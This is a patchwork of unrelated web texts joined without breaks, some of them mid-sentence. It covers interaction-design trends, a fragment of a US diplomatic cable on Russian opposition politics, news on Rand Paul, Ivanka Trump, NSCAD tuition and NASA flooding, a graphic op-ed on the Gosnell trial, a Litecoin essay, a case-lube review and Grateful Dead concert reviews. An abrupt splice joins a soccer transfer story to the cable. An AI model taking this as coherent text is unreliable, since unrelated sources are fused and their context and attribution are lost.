Other residents were less happy, the agency said. “To me I see this as a one-man race. I simply did not go to vote,” said one man in the capital who asked not to be named.This year in digital design brought a wave of new techniques, styles, and trends, most of which emerged to meet the needs of the growing mobile browsing market.
Technological advancements changed user expectations of the aesthetics and functionality for sites and apps.
Source: Love Holiday
Of all the developments in interaction design this year, five stood out as the most substantial, and the most likely to carry over strong into next year.
Persuasive design
The heart of interaction design has always been the human-computer exchange, a conversation between the user and the site. But because almost every site has its own business objectives, it makes sense that the UI half of the conversation adopts some classic sales techniques.
This year saw the rise of more persuasive tactics ingrained into the design in subtle ways. These tactics are subtle and not as abrasive as the pushy salesmen we’ve all met, but they’re still effective enough to be integrated repeatedly.
Let’s take a look at some of the common tactics explained in the free guide Interaction Design Best Practices:
Framing — How you present certain information is called framing. Instead of presenting a surcharge for credit cards as an extra fee, they might frame it as the normal price and say that paying with an alternative method earns a discount.
Anchoring — Present a higher priced item first to suggest this price is standard, which makes every cheaper price seem like a deal. This is especially effective for with discounts, where users can see exactly how much they save.
Loss Aversion — Studies show that customers respond more to avoiding pain than acquiring pleasure. Framing a offer like “if you don’t sign up, you lose $10” produces more results than “if you sign up, you save $10.”
Scarcity — The lesser the quantity, the higher the perceived demand. You’ll notice sites like Groupon and Amazon continue to highlight scarcity to drive conversions.
Photo credit: Groupon
Invisible UIs
Good designs don’t draw attention to themselves. They work in the background so that users feel any success is due purely to their own abilities.
Here are some useful ways to empower the user in all interactions:
Less and Simpler Steps — The less steps your user needs to complete their goals, the more successful your interface. Steps could be small, but even if you can remove a single click the user will appreciate it. Just look at how Uber (below) turns a multiple-step process of entering credit card information into a single, simple step.
Photo credit: Drew Thomas
Clear Visual Communication — Maintain a consistent visual theme and use universally understood signifiers (e.g. mail icon means messages or inbox) to reduce confusion and.
Forgiving Interface — Anticipate common user errors and put the proper safeguards in play. These include options to undo, autosave, multiple-format inputs, and instructive feedback.
Map User Flows — The best way to reveal redundancies and unnecessary steps is to graph out user flows visually. Jessica Downey explains her “tentacle map” for making a visual aid to organize the task steps, and their screens. Ryan Singer of Basecamp has a similar but faster shorthand approach.
Meaningful white space
As explained in Web UI Design Best Practices, empty space is not always boring space. White space, a.k.a. negative space, should be implemented just like visually active elements.
From an interaction design standpoint, think of white space as the pause between words in sentences. Without brief lulls to scan and process information, on-screen elements quickly lose their meaning.
Here’s some basic advice on white space that’s worth remembering:
Negative space creates hierarchy — The more white space you place around an object, the more attention it will receive. This simple trick alone can help designers influence the visual hierarchy of what gets seen first.
Source: voghi
Minimalism adds sophistication — Minimizing the amount of elements and maximizing the amount of negative space gives your site an atmosphere of elegance and luxury. This is a tactic most commonly seen in fashion brand websites.
Space affects legibility — White space isn’t just for background noise: when dropping down to the atomic level, spacing can improve or harm legibility. In this case, legibility refers to the ease of discerning letters in a word. Follow these guidelines for spacing between lines/letters to ensure legibility.
Interface copy as design
Extending the analogy of user interaction as a conversation, the designer of the interface must choose their words carefully. Everything on the screen of an app or site is considered the interface, so the text is certainly no exception.
If the meaning behind the words doesn’t match your site or app’s tone, not even the best typography will matter.
Source: Tuck Effect
It doesn’t help that copy comes in many shapes and sizes.
Typically, you can divide and alter copy by its category. Greeting copy might have a casual and welcoming tone, while on the same page a call-to-action text should have more bold and concise tone.
Regardless of the purpose of the text, the following guidelines can help you say what you mean:
Know your audience — This is writing advice as old as time. Know your users and what they want to deliver the copy that speaks directly to them. For example, a site for children may repeat phrases and words to adjust for attention span, whereas a site for a law firm might do the exact opposite.
Consider the context — Are you writing for a website or an app? A home page or an about page? Just like you would alter copy to suit the audience, do the same for the medium. If your app is designed for use in hectic or distracting situations (e.g. Waze when driving), punchier text makes the information faster to process.
Display your personality — Your writing style will contribute to the overall mood and atmosphere of the site just as much as a strong image or fluid animations. Understand the emotions created by color so that your copy doesn’t clash with the visual interactions.
Delightful design
Last but not least, good interaction design is always enjoyable.
Forming an emotional connection with your user is the surest way to earn their loyalty. When it comes to design, the heart is just as powerful as the mind.
Source: MailChimp Launch
In the MailChimp example above, the confirmation window is an essential part of the email marketing user flow. Adding a fun graphic and some humorous copy adds some enjoyment at no cost (not to mention undercuts some of the tension of sending a mass email).
Here are some quick tips for delightful design:
Don’t sacrifice usability — Think of delightful design as the icing on the cake: icing saves the cake from being bland, but icing alone is not a cake. Never strive or cleverness at the cost of clarity.
Go beyond the surface — As designer Ben Rowe suggests, your ultimate goal is to create “meaningful delight”. Beyond the delightful aesthetics, how can your site or app lure people into a state of flow where actions feel unrestricted?
Discoverables — Users love surprises. The appropriate microinteractions (like an animated fade-away as users complete tasks) make common tasks feel more emotionally rewarding. As shown in the below prototype, even a simple fade-in animation for a navigation adds more enjoyment to repetitive actions.
Source: UXPin
Read next: 5 secrets to awesome user design
Image credit: Shutterstock
This post is part of our contributor series. The views expressed are the author's own and not necessarily shared by TNW.
Read next: 10 web design trends that ruled 2015Philadelphia Union have acquired the services of U.S. Men’s National Team midfielder Alejandro Bedoya from FC Nantes. Bedoya will join the Union as a Designated Player. Bedoya has earned 53 international caps including four FIFA World Cup appearances.
The Union acquired Bedoya via the Allocation Process after the club secured the #1 spot in the Allocation Ranking Order in a trade with the Chicago Fire. Union sporting director Earnie Stewart commented on the acquisition.
“We have laid out very specific goals for our club this season and Alejandro adds the type of quality that can instantly guide |
reported electoral fraud. Nemtsov told us his appeal of the result is MOSCOW 00001497 002 OF 002 ongoing.) Since Moscow requires candidates to collect signatures to run in city elections, Nemtsov added that he expects electoral commissions will disqualify Solidarity candidates by tampering with their submitted signatures and petitions. 6. (C) Despite such looming difficulties, Nemtsov pointed to frictions between the federal and Moscow governments that might redound to Solidarity's benefit. For example, he said that Kremlin Deputy Chief of Staff Vladislav Surkov wants to promote the new Kremlin-friendly Right Cause party, while Moscow mayor Yuriy Luzhkov does not because he hates its party patron, Anatoliy Chubais. Milov explained that Solidarity intends to run Milov, Ilya Yashin, and possibly Garry Kasparov for the 15 single-mandate seats on the Moscow City Duma. Describing Solidarity's prospects, Milov explained that different candidates would appeal to different demographics. Kasparov, for example, is popular with the intelligentsia but not with businesspeople. Milov and Nemtsov, according to their own assessment, are popular with businesspeople. Comment ------- 7. (C) Liberal opposition leaders recognize that their hopes for returning to the national political arena have vanished, leading them to grudgingly accept Medvedev as the lesser of two evils in the leadership tandem. In a May 26 meeting, Right Cause party leader Leonid Gozman echoed Nemtsov's comments about Medvedev's unassertive character when he remarked that "Medvedev is a little boy compared to Putin." Gozman reckoned that Medvedev has until 2011 to come into his own as president, otherwise Putin would easily retake his old job and stay in office until 2024. We agree with Nemtsov and Milov on the boost to Medvedev's stature that a successful summit meeting with the President can provide, but note that few here believe that U.S.-Russian relations can advance without Putin's support and engagement. BEYRLERand Paul says young people should treat offers of free college like heroin.
The Republican presidential candidate and Kentucky senator made the comments on Friday to Iowa radio host Jeff Angelo, arguing that America's youth should think about "what is free and what is a drug, an addicting drug like heroin."
"The main thing I would say is that nothing's free," Paul said. "If someone offers you something for free, treat it as if they're offering you heroin and think about the repercussions of what is free and what is a drug, an addicting drug like heroin and the ramifications of that. There's nothing free. It just means somebody else is gonna pay for it, you don't see them. So the plumber, the welder, the carpenter, the people who don't go to college are being asked to pay for your education."
Paul went on to argue that higher education was "so expensive" today because of an "educational monopoly," saying his solution would be to allow college students to deduct "the entire cost of going to college" over the course of their working careers and to "allow the internet to blossom."
"I imagine a hundred professors that would get together that would be able to sell their services to the entire world," he said, describing his vision for higher education online. "Not just one university, but the entire world and we have to convince them that they would be more and more successful and financially rewarded by doing this, but then the pupil would get a cheaper and cheaper educational experience, as it spreads throughout the world using the internet."
In another Iowa radio interview on Friday, with host Simon Conway, the Kentucky senator commented on the ongoing controversy stemming from last week's CNBC debate, contending that networks should "pay the Republican Party" to air debates.
"We have a product that 20 million people want to watch," Paul said. "And so we should negotiate. People should bid for this. In fact, I think the networks ought to pay the Republican Party to air it."
Paul further argued that "we ought to choose who the moderators are," praising some in the media for being "objective down the middle."
"And then we ought to choose who the moderators are," he said. "And there are some good people in the media. There are some people who are objective down the middle. There are some television journalists who I do not know whether they are Republican or Democrat because they're always a fair-shooter and they are not somebody who really plays gotcha and wants to play games. They let you present your ideas. That's what it's supposed to be about running for office."
Paul also said that he didn't know if anyone from his team would be attending Sunday's meeting of GOP presidential campaigns about the primary debates.
"You know, I'm assuming my staff is, but I don't really know," he said.Anyone who is entangled by the Law knows it is almost always dehumanizing. The law distorts the meaning of what it is to be human by chopping up overall concept of justice into finely sliced particulars. The result often is that the overall moral concepts on which the law is based, such as the idea of justice, quickly disappear into labyrinths of legal technicalities and gamesmanship.
In other words, often the law as it is presently practiced is a butcher. The human being is most often the casualty.
Seldom has legal butchery been more evident than in the case of Kermit Gosnell, who literally is a butcher. While overwhelming testimony indicates the good doctor killed babies born alive through botched abortion, the defense has seen that the trial has quickly devolved into legal minutiae such as claiming the murdered babies were already dead when Gosnell "snipped" their spinal cords, basically beheading the helpless youngsters.
As Timothy Carney of the Washington Post has observed, the basic premise of the defense is that none of the babies was alive when Gosnell or his "assistants" cut their spinal cords: "Every one of those babies died in utero."
In other words, the defense is arguing Gosnell was only doing what was legally allowed. He was only killing babies in utero and not born alive infants, so he is not guilty of murder. Everything done at the clinic was legally OK.
Carney continues:
"One of Gosnell's alleged victims was named Baby Boy A by the grand jury. He was so big that Gosnell allegedly joked 'he could have walked me to the bus station.'"
Jocularity about the macabre killings is a sign Gosnell's conscience was so far gone he no longer had any left. Historically, we find such jokes only in the context of atrocities such as the death camps in Nazi Germany or the outpost of the Gulag Archipelago. Serial killers are known to have the same deadness, conscience, completely unmoved by their victims.
According to Carney, defense attorney McMahon said of the prosecution, "They have no case" regarding 'Baby A' because it was killed in utero,'" McMahon said Gosnell, "injected a chemical called digoxin into the baby to prevent a live birth. That was the goal of Dr. Gosnell with [the mother's] consent: to kill the baby in utero.' "
McMahon argued a witness for the prosecution who testified that one baby was delivered into a toilet at Gosnell's clinic was lying when the worker testified, "I took the fetus out of the toilet. I snapped the neck...."
The defense argued there was not one line of testimony in that case indicating the baby was alive at any time. [...] "Yes, Gosnell snipped many baby's necks after delivery -- but he had killed the baby in utero hours before with a shot of digoxin." The purpose of the digoxin injection "is to kill the baby so that it will not be a live birth."
Carney concludes, "It's quite a case when that's the defense."
As anyone who assesses the arguments of the defense in the case can deduce, the humanity of the babies who were murdered disappears into legal arguments which suppose the humanity of the infant begins only if it is born alive. Anything done to it inside the womb is legitimate if it is the mother's decision to abort, as it is not fully human and not protected by the law.
For much of our country's history, the Supreme Court's decision in the Dred Scott case has been regarded as the worst legal decision ever made. Chief Justice Taney wrote: "(Blacks have) for more than a century...been regarded as beings of an inferior order... and so far unfit that they had no rights which the white man was bound to respect."
- U.S. Chief Justice Roger B. Taney in Scott v. Sanford, 1857
It was only when a human face was put to the monstrous evil that was chattel slavery that the American public began to wake up to the societal rot the "peculiar institution" was causing. Harriet Beecher Stowe's Uncle Tom's Cabin" was one such effort to humanize those caught in the horrors of slavery.
Roe v. Wade was a worse decision than even the Dred Scott case in that it deprived the unborn entirely of the right to life itself.
But until the babies butchered daily by the likes of Kermit Gosnell are given a human face, the abattoirs called "women's health services clinics" will continue to thrive while clever lawyers make mincemeat of justice.
Therefore, it is time to talk about the babies, including the one Gosnell described as being big enough to "walk me to the bus." It is time to see "Baby B" in all the glorious humanity he was and would have become had he not died when the so-called doctor snipped his neck.
Look at this precious little boy. Look at the photo with that dreadful fatal gash at the nape of his neck. It's just below the fuzzy hair line, where mothers love to nuzzle and kiss.
If he had lived, he would have smiled his first smile, grown his first tooth, laughed his first laugh. He would have taken his first steps, said his first word.
Later, he would have learned to read. His mother might have "walked him to the bus."
Maybe he would have joined the Little League or even learned to play the piano--if he weren't teased too much. Still later: a first kiss, a prom, college, falling in love, getting married. Then, kids of his own.
But he is dead.
Did the Supreme Court Justices who crafted Roe V. Wade in 1973 ever envision a Kermit Gosnell slitting the necks of newborns? When they gave in to the contemporary mania that was radical feminism, did they see where dehumanizing the unborn would lead? Probably not. Politics and personal prejudice made them purblind. Even now, who among the Left will see clearly the horrors unleashed by that dread decision -- certainly not our president, who asked God to bless the abortion clinics run by Planned Parenthood.
The justices probably understood no more than Taney, who when he also gave in to contemporary political pressures, did not understand the dread consequences for blacks and all Americans society that would ineluctably flow from his opinion defining some as less than human and therefore not worthy of the full protection of the law.
Doubtless, the Gosnell case will be appealed. Eventually, the Supreme Court of our land may once again have to decide if the unborn are human beings who have the right to live. The decision of Roe v. Wade may be reviewed in the light of the gruesome results of declaring the unborn not human and therefore not protected by the law. Some fifty-five million babies have been aborted since the 1973 decision. Some have survived and a few have even lived to tell the tale of the attempts to snuff out their lives. In Gosnell's case, some survived and were put to death. If he gets away with murder, we will be well on our way to permitting infanticide.
If SCOTUS does not revisit Roe v. Wade, and if it does not define as human those infants, who despite Gosnell's efforts to kill them in the womb, lived to breathe and cry, then God help them, us and our country.
Fay Voshell can be reached at fvoshell@yahoo.comI wish I had posted about this earlier, but if you hurry there's still time to book passage for two people on a boat that leaves for Antarctica from Ushuaia, Argentina. Sights you can expect to gawk at in awe on your voyage include a variety of points on the Antarctic Peninsula, the South Shetland Islands, a whole mess of seals, four different types of penguins and a starkly beautiful panorama of unforgiving rock, ice, and snow. It's like Hoth without the tauntauns down there. Quark Expeditions is offering the deal until Thursday, 8pm, so there's still time to take advantage of the sale. Ships sail on November 13, 19, and 29, and trips last roughly 12 days, and tickets start at around $5,000, and don't include airfare to Argentina.
Even better, you don't need a partner to reserve a spot - single rates are available at half off, which is fair considering everyone else will use the sale as a half-off opportunity as well. What better way to steel yourself for the arrival of winter than to spend a couple of icy summer days on our most dramatic and mysterious continent?
Link: Quark Expedition's $1 Antarctica Flash Sale. Ends Thursday, 8pm.A Democratic senator on Friday called for a review of first daughter Ivanka Trump's security clearance, citing concerns she may have violated conflict of interest laws.
Sen. Ben Cardin Benjamin (Ben) Louis CardinThe Hill's 12:30 Report: Trump looks for boost from Korea summit The Hill's Morning Report - A pivotal week for Trump The Hill's 12:30 Report: Anticipation builds for Mueller report MORE (D-Md.), ranking member on the Senate Foreign Relations Committee, told Newsweek that Trump's involvement with the World Bank's new Women Entrepreneurs Finance Initiative could potentially violate conflict of interest laws due to her ownership of the Ivanka Trump fashion brand.
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"I don't question Ivanka Trump’s sincerity to advance a cause she feels deeply about while making money — that's great, that's America," Cardin said. "What is not allowed is for anyone to profit off holding a public position."
Cardin called for a "full disclosure" of Trump's financial dealings and a review of her security clearance.
"We should have full disclosure of all her financial interests, and when you don’t have that, it raises serious questions. Does that involve her security clearance? Absolutely."
Cardin's comments to Newsweek follow a letter the Maryland Democrat sent to Treasury Secretary Steven Mnuchin Steven Terner MnuchinTreasury announces new Venezuela sanctions Trump trade chief changes terminology after president contradicts him Trump considering meeting with China's Xi next month to finish trade deal MORE this week questioning Ivanka Trump's involvement in the World Bank initiative.
President Trump committed $50 million to the Ivanka Trump-led initiative in July, which will provide loans, mentoring and access to the financial markets for women-led start-ups, particularly in developing countries.
“The critical investments we're announcing today will help advance the economic empowerment of women around the world,” President Trump said in July. “Empowering women is a core value that binds us together.”
Cardin says Ivanka Trump should separate herself entirely from the project.
"It's not appropriate for Ivanka Trump to serve as a public advocate for the #WeFi initiative," Cardin tweeted on Monday.
In the letter to Treasury, Cardin told Mnuchin that Trump would pose "problematic" issues for the project if she is involved.
"In particular, any possible involvement by Ivanka Trump, Special Assistant to the President, would pose unique and potentially problematic conflicts for the fund," he wrote. "As long as Ms. Trump continues to benefit financially from a brand that bears her name, her involvement with WeFi creates the potential for conflicts of interest that could stand in the way of achieving the fund's goals."Emergency crews were called to a runway at Pearson International Airport on Friday afternoon after the nose gear on a CNE air show plane collapsed.
Peel Police confirm a call came in around 1:30 p.m. about a small plane that reportedly lost its nose gear.
“A twin-seat airplane from the airshow had its landing gear collapse on the runway,” Const. Thomas Ruttan said. “Both pilots are okay, no injuries.”
Landing gear on a small plane has collapsed at Peason. No injuries at all. — Peel Regional Police (@PeelPoliceMedia) August 29, 2014
Recent airshow mishaps
Sept. 3, 1989: Canadian Forces Snowbird pilot Shane Antaya dies when his Canadair CT-114 Tutor crashes into Lake Ontario following a mid-air collision.
Sept. 2, 1995: Seven Royal Air Force crew members die when their Hawker Siddeley Nimrod MR2P stalls during a low-altitude turn and crashes into Lake Ontario.
Sept. 4, 2000: Two Snowbirds collide in mid-air on their way to the air show and are forced to make an emergency landing.NSCAD's board of governors voted to increase tuition on Tuesday, but only for some full-time students.
The Halifax university will increase tuition by about 27 per cent over three years for students taking five classes or more per semester.
"It will not affect full-time students taking three or four classes per semester, or part-time students taking one or two classes per semester," board chairman Jeff Somerville said.
NSCAD will increase tuition by between 7.7 per cent and 9.1 per cent for three straight years, starting in September 2016. Somerville said the increase would apply to 38 per cent of students if it took effect today.
NSCAD will also increase the tuition fee for graduate studies by 30 per cent to $8,270 per year. Until now, NSCAD was in the unusual position of charging the same for undergraduate and graduate courses.
That means undergraduate students taking 15 credits over two semesters — who paid $6,360 this year — will pay:
$6,939 in in 2016
$7,518 in 2017
$8,097 in 2018
Currently, students pay the same "flat-fee tuition" if they take 12 credits, 15 or 18. NSCAD says that means the university lost $400,000 per year.
Students protested the change last week by filling out forms to drop classes. (The student figure of a 37 per cent hike assumes additional annual inflation increases, but none of those have been announced.)
Improved financial footing
Somerville said NSCAD's tuition is the lowest of any university in Nova Scotia. He said the move would shore up the art and design university's financial standing.
"Over the past year we've had to make difficult decisions to ensure the long-term stability of our institution. In June, we reduced our workforce to make our operations more efficient. We are planning to reduce our real-estate holdings and continue to diligently focus on new sources of revenue through fundraising, rental properties and other means," he said.
"NSCAD has successfully reduced its annual operating deficit every year since 2010/2011, and with this adjustment we are solidly on track to achieve a balanced budget in 2016-2017."
The university has faced serious financial struggles in recent years, leading it to lay off staff and consider selling some of its property.
Somerville said providing students with around-the-clock access to the university's buildings and studios contributed to the expense of providing an art and design education.JSC Closed Through Labor Day As It Copes With More than 40 Inches of Rain
NASA’s Johnson Space Center (JSC) will remain closed to all but mission essential personnel through Labor Day as it copes with more than 40 inches of rain that has fallen since Friday because of Tropical Storm Harvey. A planned news conference with Peggy Whitson from the International Space Station tomorrow has been cancelled.
JSC is located between Houston and Galveston, TX, just east of League City. Hurricane Harvey hit the Texas coast on Friday and although its wind speeds lessened to Tropical Storm status, it stalled over Texas and has been producing epic amounts of rain.
A JSC Twitter feed providing emergency information (@jscsos) reports that the center received 42 inches of rain by this morning, with more on the way.
Flood Warn for JSC area until 2:45 PM today. Rain 2 inches last night total JSC now 42 inches. Forecast 2-3 inches more today 1-2 tonight. — JSC SOS (@JSCSOS) August 29, 2017
Nevertheless, JSC’s Mission Control remains in operation and the James Webb Space Telescope (JWST) — which arrived at JSC in May for thermal vacuum testing — is reported to be secure.
NASA announced today that JSC will remain closed to everyone other than mission essential personnel until the day after Labor Day, a federal holiday on Monday, September 4. The agency said that would “allow employees to avoid treacherous road conditions, and to attend to the needs of their families.”
Record-breaking NASA astronaut Peggy Whitson, who will return to Earth from the International Space Station (ISS) on Saturday, was scheduled to hold her final news conference from ISS tomorrow, but that has been cancelled. Her return to Earth on Soyuz MS-04, along with fellow NASA astronaut Jack Fischer and Roscosmos cosmonaut Fyodor Yurchikhin, remains on track for Saturday. The landing in Kazakhstan is at 9:22 pm Eastern Daylight Time (7:22 am September 3 local time at the landing site).
Three new ISS crew members are scheduled for launch from Kazakhstan on September 12. The trio includes NASA astronauts Mark Vande Hei and Joe Acaba who already are in Russia. Live media interviews with them on September 1 also have been cancelled.Nobody disputes Bitcoin as the “gold standard” of cryptocurrencies. No other coin comes close to market cap and daily volume (in USD). Bitcoin, as the pioneer of the crypto economy, has enjoyed the benefits of being the first mover in this new financial era. Likewise, it is generally accepted that LTC is the “silver standard” of cryptos. From its design to its inception, Litecoin has been branded the “silver to bitcoin gold”.
Indeed, in the announcement of Litecoin’s launch from Charlie Lee, he stated:
“Litecoin is the result of some of us who joined together on IRC in an effort to create a real alternative currency similar to Bitcoin. We wanted to make a coin that is silver to Bitcoin’s gold.”
Has the design of Litecoin succeeded in its expressly stated goal? Let’s take a look at how the comparison actually holds up, and explore the reasons behind what is found.
Direct Comparison of Litecoin as “Silver” and Bitcoin as “Gold”
Gold is a precious metal with an extremely limited supply, and silver is a precious metal, limited in supply, but not to the degree of gold. The historic gold/silver ratio is right around 16:1, meaning 16 ounces of silver would equal 1 ounce of gold. The current ratio of gold to silver is approximately 64:1, or 0.015625. Bitcoin was designed to be a digital equivalent of gold, and thus has an extremely limited supply, and is “mined” in a digital representation of gold mining. Litecoin is limited in supply, but not to the degree of Bitcoin. The designed ratio between BTC and LTC is 4:1, meaning that in the ultimate final count, there will be four litecoins for every one bitcoin. The current BTC/LTC ratio is approximately 80:1, or 0.01239, a 20% difference. Not bad for a few coins with 3-5 years of history behind them.
The all-time high price of Bitcoin was reached on November 29, 2013 as it touched $1,242 per coin, on the same day that gold traded for $1,240. The all-time high of Litecoin was reached on November 28, 2013 when it touched $48.47 per coin. In late April of 2011, the all-time high for silver was reached at $49.76 per ounce. This renders Litecoin’s all-time high to within 3% of the all-time high of silver. It’s hard to think that anything but the silver analogy is what propelled Litecoin to so close a value as silver.
It’s hard to look at these numbers and state that it’s all a coincidence. The current ratios as well as the high points are very similar. The numbers are simply too close for it to be coincidence. More likely than not, the psychologocal link has been made, and as the market has long held gold and silver to be valued at what they’re worth, the two big coins in the crypto economy, based on the monetary theories of gold and silver, have risen to mimic the standards upon which they were designed. Remember, humanity has valued, and thus has had a market for, gold and silver for millenia, so the concepts and values of these precious metals are ingrained into the human economy. Everyone knows that gold is valuable, and silver is valuable, and everyone knows that gold is worth more than silver. It’s in the human psyche. It’s no big stretch of the imagination to conclude that Bitcoin and Litecoin, designed to be the crypto equivalents of the two big precious metals, have succeeded in mimicing their relative values.
So, what does this mean for the future of Litecoin and Bitcoin?
If the link is maintained and continues to be reinforced (which is a significant “if” considering how young the whole crypto economy is), we should be able to predict the ratios to some degree of certainty. Lately the news for Bitcoin has been pretty stellar, with more merchants accepting it, more investors interested in it, and more individuals learning about it. The future for Bitcoin is bright, and it is reasonable to expect that Bitcoin will eventually overcome all the bad press it endured during the 2013 year, and with it, the current lower prices.
Litecoin is still primarily in the shadows, with fewer merchants, investors and individuals knowing about it, and fewer being interested in it. The Litecoin development team is continuing to work on adoption of the coin, with a new introductory video, shown below, an upcoming new website (litecoin.com) and a new client (Litecoin Core). The silver analogy has worked out very well for Litecoin thus far, helping it to capture and maintain the #2 spot on the crypto charts. If the history of humanity is any guide, people prefer multiple tiers of value, and cryptos very well may be no different. If this is the case, it is reasonable to expect that Litecoin will continue to follow Bitcoin’s gains and share its losses, and maybe eventually migrate closer to the designed 4:1 ratio, just like many silver bugs are hoping for the price of silver to return to its historic average of 16:1. If the trend holds, the future for Litecoin is also very bright, just like it’s big brother, Bitcoin.Reloading ammunition involves forming brass. Forming brass involves a lot of force and friction- this makes case lube a vital part of the reloading equation. Now, talk to a motorsports enthusiast about engine oils, and you’ll get opinions: strong ones. Likewise, when discussing case lubes, you’ll get passionate opinions as well. It’s not surprising people get worked up about lubricants- they are very important, and can be quite expensive as well.
Going back to engine oils for a moment: there are a lot of different formulations and types of oils and for good reason. Each type of engine has different operating environments and demands, and there’s a specific engine oil that’s designed or recommended for each type of engine. Regarding reloading processes and equipment the same is true.
Here are some basic principles: For pistol loading, spray lubes are most common. They go on easy, and provide a uniform application of lubricant. If you are using non-carbide dies, you need lube. If you are using carbide or similar dies (Titanium Nitride, etc) you don’t HAVE to use lubricant, but it will make the press run smoother. I always lube when I reload. Rifle reloading involves more force (typically, especially full-length sizing of bottleneck cartridges) so lubrication choice plays a more important role. Typically rifle cartridges need a more grease-like high performance lubricant (although there are other options as well like mica powder). Since this post isn’t a detailed breakdown of the science of lubricants, we’ll stop there and start talking about products. 🙂
RCBS Case Lube Pad (Rifle)
The RCBS case lube pad is a foam pad that absorbs a thick lubricant. You roll rifle cases on the “charged” pad, and then apply some lube to the inside of the case mouth with the supplied brushes. This product works well, but I find it difficult to lube only case necks when using neck-only sizing dies, and it’s a bit of a mess to charge. Many reloaders use these, and I can see why- it works, and it’s not expensive.
Imperial Case Sizing Wax (Rifle)
This product is great, and I’ve found it to provide the best anti-seize protection for difficult rifle sizing tasks (like full length sizing of military 7.62x54R brass. You wipe your index finger on the wax, and then spin the brass while wiping your fingers on the outside of the case. I also use a Q-Tip to apply wax to the inside of the case mouth. This product is a bit time consuming to use, but it works very well.
Dillon Case Lube – A.K.A. DCL (Rifle/Pistol)
DCL is a very thick spray on lube. I have found it to work well for both rifle and pistol. I have had stuck cases using this product to reload.223/5.56, but they have been infrequent, and spraying is a LOT faster than other typical methods of lubing cases. The one downside to DCL is that it leaves a pretty thick residue on cases. Not too hard to cleanup, but you do need to wipe cases down or tumble off the lube after reloading.
Hornady One-Shot (Pistol)
Hornady One-Shot is listed as a rifle/pistol lube, but I only use it for pistol (since I have had stuck cases with.223/5.56 using One-Shot). Since this lube is light/thin you can get away without post-loading lube cleanup, but it’s always best to clean to avoid feed issues and a general mess. One-Shot sprays on quick and dries quick. One aerosol can lasts a long time as well. I probably use One-Shot the most when loading pistol.
Now, what if you’re on a budget? When I started reloading I was primarily concerned with economics, so I searched online and found a product that I could use for case lube that was already in our house. That’s right- it’s the dark horse of the reloading case lube product portfolio: Lemon Pledge!
I used Pledge for a long time for lubrication of pistol cases and it performed pretty good. It’s not formulated for optimum case lubrication performance, but it does leave your cases smelling “lemon fresh”. 🙂 I still keep a can of Lemon Pledge in the loading room. I wouldn’t hesitate to use it if I ran out of my normal arsenal of case lube.
There you have it. Not an exhaustive list of case lube products, but it gives you an idea of what kinds of lubricants you’ll need to have on hand for pistol and rifle reloading.
Don’t see your favorite case lube? Please leave a comment!
Thanks,
GavinPromised Land, Sugaree, Beat It On Down The Line, Don't Ease Me In, Black Throated Wind, Tennessee Jed, Mexicali Blues, China Cat Sunflower-> I Know You Rider, Big River, Row Jimmy, Me & My Uncle, Brown Eyed Women, Playin' In The Band Around & Around, Eyes Of The World-> WRS Prelude -> WRS Part One-> Let It Grow, Casey Jones, Sugar Magnolia-> Goin' Down The Road Feeling Bad-> One More Saturday Night, E: We Bid You Goodnight
MSR> Cass.> DATs> CDRs> EAC> SHN; via Darrin Sacks; see info file for known flaws; note md5s for d2t8-10 filler tracks (12/4/71) added here 1/24/01
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Reviewer: slipangle - favorite favorite favorite favorite favorite - November 10, 2014
Subject: I can't believe I found this…. Though I'm not sure why, given the net these days. But I am very surprised to find this show was recorded. First I'd like to say, I was never a "Dead head", per se. Though I loved them. Saw them twice. The first time was in this baseball stadium in '73. The second was in Salt Lake a year before Garcia died.
Having only seen them twice, I can't compare this show with any others but I will say that for me, it was a life-changing event. In more ways than one. What I remember most was the impression that this concert, to me, sounded just like their album, Europe '72. Only better. It was phenomenal. Of course, the impression could have been influenced by the 16 way hit of window pane acid I took.
One other impression. I remember the sound from the 'big wall" was so loud you could feel it in your kidneys. But it didn't hurt your ears. No ringing in the ears afterwards. Thank you, Dead.
I distinctly remember Bob Weir's recommendation to the crowd to take a look at the sunset. And it was an amazing one indeed. But what sticks in my soul, to go with that visual, is the collective sound the crowd made when we all turned around to look. It was an amazing mix of a huge sigh and gasp of wonder. Sends a shiver down my spine remembering it now.
What a memory. One of my best. Thanks. - November 10, 2014I can't believe I found this….
Reviewer: c-freedom - favorite favorite favorite favorite favorite - November 9, 2014
Subject: Listen to the thunder shout... The two recordings of this show here at IA are both great listens. I compared the Weather Report Suite on both and could listen to either one of them all day long.
I am a big fan of outdoor shows and RED ROCKS-85.
The OXFORD Maine show with Brent and to a lesser extent the HERE COMES SUNSINE breakout in the 90's were so memorable because the music seemed to interact with the environment.
One can only imagine this show at the zenith of the Dead's sound probably lizards and tumbleweeds dancing everywhere.
"Trouble ahead, trouble behind, and you know that notion, just crossed my mind." - November 9, 2014Listen to the thunder shout...
Reviewer: Pat Buzby - - November 8, 2014
Subject: Deadbase piece about this show A writer who was at the show mentioned in Deadbase that he remembered Bob's "dig the sunset" comment so yes, it is from this show. - November 8, 2014Deadbase piece about this show
Reviewer: clementinescaboose - favorite favorite favorite favorite favorite - January 6, 2011
Subject: WTF!? How in the world this fantastic little show has escaped my attention for this long is beyond my comprehension.
Fall '73: Fucking Outstanding - January 6, 2011WTF!?
Reviewer: Evan S. Hunt - favorite favorite favorite favorite favorite - November 25, 2010
Subject: Superbly Flawed Such as all of us. - November 25, 2010Superbly Flawed
Reviewer: Chris U. - favorite favorite favorite favorite favorite - November 25, 2010
Subject: One of the best To cut right to the chase, Jerry's guitar is on fire this entire show and he is in great voice, too. And the rest of the band responds in high style -- Bobby's vocals are also memorably spirited; it's all good but Sugar Mag and Saturday Nite are of course incendiary (Donna critics beware as Jerry sublimates his solos bigtime in the last half of the last set in favor of some fundamental power chord rawk; if you cross yr eyes it could be Bobby and Pig). Many highlights include: Jerry's slide solos in Row Jimmy and WRS; Phil's devastating feedback at the end of the Playin', the incredible Eyes and the sweet transition into a gorgeous WRS followed by an intense Let it Grow; Phil ad libbing some lyrics during I Know You Rider...
It's all good. It's as if everybody in the band woke up on the right side of the bed.
My cassette copy from the olden days has a few tracks from Winterland '75 as filler (at the end, where filler is supposed to be...)
My tape has the We Bid You Goodnite filler with Bobby: "You all might take a moment to dig the sunsight which is pretty spectacular." Is this really from this show?? Doesn't seem to be, really... is it a west facing venue (would explain Phil's vocals during IKYR...). - November 25, 2010One of the best
Reviewer: gankmore - favorite favorite favorite favorite favorite - November 24, 2010
Subject: Awesome sound Not a full review. But this sounds absolutely outstanding. Great transfer job on Darrin Sacks part, get this one before it becomes an official release (or you know before AND after, support the guys and all). - November 24, 2010Awesome sound
